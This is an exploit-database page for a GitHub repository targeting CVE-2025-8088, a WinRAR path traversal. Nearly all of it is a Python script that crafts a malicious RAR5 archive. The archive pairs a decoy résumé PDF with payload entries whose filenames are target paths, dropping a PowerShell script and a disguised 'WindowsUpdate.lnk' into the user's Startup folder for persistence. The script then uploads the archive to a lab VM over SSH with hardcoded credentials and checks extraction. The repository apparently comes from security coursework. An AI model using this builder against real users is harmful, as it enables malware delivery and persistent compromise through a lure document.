Exploit databaseDownload repository ZIP
GH-9d8bf7b89f407a0fff790750df76b5d3
lewis-ricardo/amaranth-project
Sources for CVE-2025-8088
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files22
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
- ↑..Parent directory
- FinalChain_Embedded.ps1
- WindowsUpdate.lnk
- analyze_rar.py
- base_v2.rar
- build_attack_rar.py
- build_attack_rar_v2.py
- build_on_vm.bat
- build_on_vm.ps1
- build_on_vm_v2.bat
- check_rar.py
- debug_rar.py
- exploit.rar
- exploit.zip
- exploit_v2.rar
- exploit_v3.rar
- find_paths.py
- gen_lnk.py
- lure.pdf
- test_ads.rar
- verify_final.py
- verify_rar.py
- vm_build_exploit_v2.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Stage03_FinalChain/exploit/build_attack_rar_v2.py
Python · 7,464 bytes"""
Build CVE-2025-8088 exploit RAR with independent type-2 file entries.
Each payload is a separate file entry whose FILENAME is the traversal path.
No ADS, no colons — just a file whose name is "..\..\..\path\to\target".
"""
import struct, zlib, os, paramiko, io, sys, time
from pathlib import Path
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
EXPLOIT_DIR = Path(r'D:\Desktop\网安程设\Amaranth_Project\Stage03_FinalChain\exploit')
STAGE03_DIR = Path(r'D:\Desktop\网安程设\Amaranth_Project\Stage03_FinalChain')
RAR5_SIG = b'Rar!\x1A\x07\x01\x00'
VM_TEMP_DIR = 'C:\\Users\\lewis\\Desktop\\build_rar_tmp'
DECOY_NAME = 'Alicia_Sheree_CV_2026.pdf'
PAYLOADS = [
# (target_path, src_filename)
(r'C:\Users\Public\FinalChain_Embedded.ps1', 'FinalChain_Embedded.ps1'),
(r'C:\Users\lewis\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk', 'WindowsUpdate.lnk'),
]
os.chdir(str(EXPLOIT_DIR))
def get_vint(buf, off):
val, shift, i = 0, 0, off
while i < len(buf):
b = buf[i]; i += 1
val |= (b & 0x7F) << shift
if (b & 0x80) == 0: break
shift += 7
return val, i - off
def put_vint(val):
buf = bytearray()
while val >= 0x80:
buf.append((val & 0x7F) | 0x80)
val >>= 7
buf.append(val & 0x7F)
return bytes(buf)
def make_file_entry(filename: str, data: bytes, extra_bytes: bytes = b'') -> bytes:
"""
Build a RAR5 type-2 file entry block.
Uses STORE method (no compression).
Returns: header_bytes + data_bytes
"""
fname_utf8 = filename.encode('utf-8')
# Build header fields:
# type(2) + flags + [extra_size] + [data_size] + compression_info + file_attrs + mtime + data_crc + host_os + name_flags + filename\0 + extra_data
htype = put_vint(2)
hflags = put_vint(3) # bit0=extra, bit1=data
extra_sz_v = put_vint(len(extra_bytes)) if extra_bytes else put_vint(0)
# Compression info: method=0 (store), dict=0 → byte 0x04
comp_info = bytes([4])
# File attributes: 0x20 = ARCHIVE
file_attrs = put_vint(0x20)
# MTIME: DOS format for 2026-05-29 10:00:00
# DOS time: (hours<<11) | (minutes<<5) | (seconds/2)
# DOS date: ((year-1980)<<9) | (month<<5) | day
dos_time = (10 << 11) | (0 << 5) | (0) # 10:00:00 → 0x5000
dos_date = ((2026-1980) << 9) | (5 << 5) | 29 # 2026-05-29 → ...
dos_dt = (dos_date << 16) | dos_time
mtime = put_vint(dos_dt)
# Data CRC32
data_crc32 = struct.pack('<I', zlib.crc32(data) & 0xFFFFFFFF)
# Name flags: 0 = UTF-8 encoded
name_flags = put_vint(0)
# Host OS: 0 = Windows
host_os = bytes([0])
# Assemble header body (everything after head_crc32 + head_size_vint)
header_body = (
htype +
hflags +
extra_sz_v +
put_vint(len(data)) + # data_size
comp_info +
file_attrs +
mtime +
data_crc32 +
host_os +
name_flags +
fname_utf8 + b'\x00' +
extra_bytes
)
# Header size = len(header_body)
hsz_v = put_vint(len(header_body))
# CRC32 of header (from header_size field through end)
crc_data = hsz_v + header_body
hdr_crc32 = struct.pack('<I', zlib.crc32(crc_data) & 0xFFFFFFFF)
# Full block = CRC(4) + size_vint + header_body + data
return hdr_crc32 + crc_data + data
def make_end_block() -> bytes:
"""RAR5 end of archive block (type 5)."""
header_body = put_vint(5) + put_vint(4)
hsz_v = put_vint(len(header_body))
crc_data = hsz_v + header_body
hdr_crc32 = struct.pack('<I', zlib.crc32(crc_data) & 0xFFFFFFFF)
return hdr_crc32 + crc_data
def make_main_header() -> bytes:
"""RAR5 main archive header (type 1)."""
# Extra block with properties
extra_data = bytes([0x01, 0x80, 0x80, 0x80, 0x00]) # CRC32 of volume
extra_block = b'\x06\x01' + put_vint(len(extra_data)) + extra_data
# Actually let me just copy from an existing RAR
# The main header from base.rar: type=1, flags=5, extra=7
# Extra area content mimics what WinRAR expects
header_body = bytes([
0x01, # type 1
0x05, # flags (bit0=extra)
0x07, # extra_size
0x06, 0x01, 0x80, 0x80, 0x80, 0x00 # extra block (locator?)
])
hsz_v = put_vint(len(header_body))
crc_data = hsz_v + header_body
hdr_crc32 = struct.pack('<I', zlib.crc32(crc_data) & 0xFFFFFFFF)
return hdr_crc32 + crc_data
# ===== MAIN =====
# Read decoy PDF
with open(str(DECOY_NAME), 'rb') as f:
decoy_data = f.read()
# Read payloads
payload_files = {}
for target_path, src_name in PAYLOADS:
with open(str(src_name), 'rb') as f:
payload_files[target_path] = f.read()
print(f" Loaded {src_name} ({len(payload_files[target_path]):,} B)")
# Build RAR5 binary
rar = bytearray()
rar.extend(RAR5_SIG)
rar.extend(make_main_header())
print(f" Main header: OK")
# Add decoy PDF as type-2 entry
rar.extend(make_file_entry(DECOY_NAME, decoy_data))
print(f" Decoy PDF: {len(decoy_data):,} B")
# Add each payload with traversal path as filename
for target_path, src_name in PAYLOADS:
payload_data = payload_files[target_path]
# Use the target_path as the filename directly
traversal_filename = target_path
rar.extend(make_file_entry(traversal_filename, payload_data))
print(f" Payload: {traversal_filename} ({len(payload_data):,} B)")
# End block
rar.extend(make_end_block())
# Save
out_path = Path('exploit.rar').resolve()
with open(str(out_path), 'wb') as f:
f.write(rar)
print(f"\n Saved: exploit.rar ({len(rar):,} B)")
# Verify by scanning for traversal paths
for target_path, src_name in PAYLOADS:
if target_path.encode() in rar:
print(f" [OK] Traversal path found: {target_path}")
else:
print(f" [WARN] Traversal path NOT found: {target_path}")
print("\nUploading to VM Desktop...")
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=15)
sftp = ssh.open_sftp()
sftp.put(str(out_path), 'C:/Users/lewis/Desktop/exploit.rar')
sftp.close()
# Clean previous targets, test extraction
ssh.exec_command(
'if exist C:\\Users\\Public\\FinalChain_Embedded.ps1 del /f /q C:\\Users\\Public\\FinalChain_Embedded.ps1 & '
'if exist "C:\\Users\\lewis\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.lnk" del /f /q "C:\\Users\\lewis\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.lnk"'
)
print("\nTest extracting with rar x...")
stdin, stdout, stderr = ssh.exec_command(
'cd /d C:\\Users\\lewis\\Desktop & "C:\\Program Files\\WinRAR\\rar.exe" x -o+ exploit.rar C:\\Users\\lewis\\Desktop\\extract_test\\'
)
out = stdout.read().decode('utf-8', errors='replace')[:3000]
if out.strip():
print(f" rar x output:\n{out}")
print("Checking targets...")
stdin, stdout, stderr = ssh.exec_command(
'if exist C:\\Users\\Public\\FinalChain_Embedded.ps1 (echo PS1:YES) else (echo PS1:NO) & '
'if exist "C:\\Users\\lewis\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.lnk" (echo LNK:YES) else (echo LNK:NO)'
)
raw = stdout.read()
print(raw.decode('utf-8', errors='replace'))
# Cleanup test dir
ssh.exec_command('rd /s /q C:\\Users\\lewis\\Desktop\\extract_test\\ 2>nul')
ssh.close()
print("Done!")